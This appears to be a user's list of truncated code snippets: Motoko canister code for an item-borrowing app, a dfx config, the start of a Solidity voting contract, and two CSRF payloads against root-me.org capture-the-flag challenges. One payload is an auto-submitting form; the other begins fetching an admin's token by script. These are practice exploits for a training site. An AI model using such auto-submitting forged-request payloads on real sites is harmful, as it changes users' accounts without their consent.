anthonymq

import TrieMap "mo:base/TrieMap";
import Iter "mo:base/Iter";
import Nat32 "mo:base/Nat32";
import Debug "mo:base/Debug";
shared ({caller = initPrincipal}) actor class Example () {
    public type State = {
        db: TrieMap.TrieMap<Nat32, Card>;
    };
    func empty () : State {
        {

anthonymq

...
	public shared ({ caller }) func borrowItem(itemId: Nat) : async Result.Result<Item, Text> {
        switch(inventory.get(itemId)) {
            case null {
                #err("Item with id " # Nat.toText(itemId) # " doesn't exit.");
            };
            case (?(item)) {
                if(Option.isNull(item.borrower)) {
                    let itemBorrowed : Item = {
                        id=item.id;

anthonymq

...
	public shared ({ caller }) func borrowItem(itemId: Nat) : async Result.Result<Item, Text> {
        switch(inventory.get(itemId)) {
            case null {
                #err("Item with id " # Nat.toText(itemId) # " doesn't exit.");
            };
            case (?(item)) {
                let itemBorrowed : Item = {
                    id=item.id;
                    name=item.name;

anthonymq

import Nat "mo:base/Nat";
import Hash "mo:base/Hash";
import HashMap "mo:base/HashMap";
import Array "mo:base/Array";
import Result "mo:base/Result";

actor Stock {

    public type CreateItemDto = {
        name: Text;

anthonymq

actor Stock {
    public type CreateItemDto = {
        name: Text;
        description: Text;
    };
    public type Item = {
        id: Nat;
        name: Text;
        description: Text;
        borrower: ?Principal;

anthonymq

{
  "canisters": {
    "auth": {
      "main": "src/backend/auth.mo",
      "type": "motoko"
    },
    "stock": {
      "main": "src/backend/stock.mo",
      "type": "motoko"
    },

anthonymq

<form  name="csrf" action="http://challenge01.root-me.org/web-client/ch22/index.php?action=profile" method="POST" enctype="multipart/form-data">
  <input type="text" name="username" value="test" />
  <input type="checkbox" name="status" checked=checked />
  <input type="submit" value="Submit request" />
</form>
<script>document.csrf.submit()</script>

anthonymq

<form action="http://challenge01.root-me.org/web-client/ch23/?action=profile" method="post" name="csrf_form" enctype="multipart/form-data">
  <input id="username" type="text" name="username" value="test">
  <input id="status" type="checkbox" name="status" checked >
  <input id="token" type="hidden" name="token" value="" />
  <button type="submit">Submit</button>
</form>

<script>
  // on force l'admin à générer un token
  xhttp = new XMLHttpRequest();

anthonymq

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anthonymq

pragma solidity ^0.6.4;

contract EsensVoteDappHero {
  struct Scrutin {
    bytes32 name;
    address scrutinOwner;
    bool isVisibleResult;
    bool isOpenToProposal;
    bool isStartVoted;
    uint counter;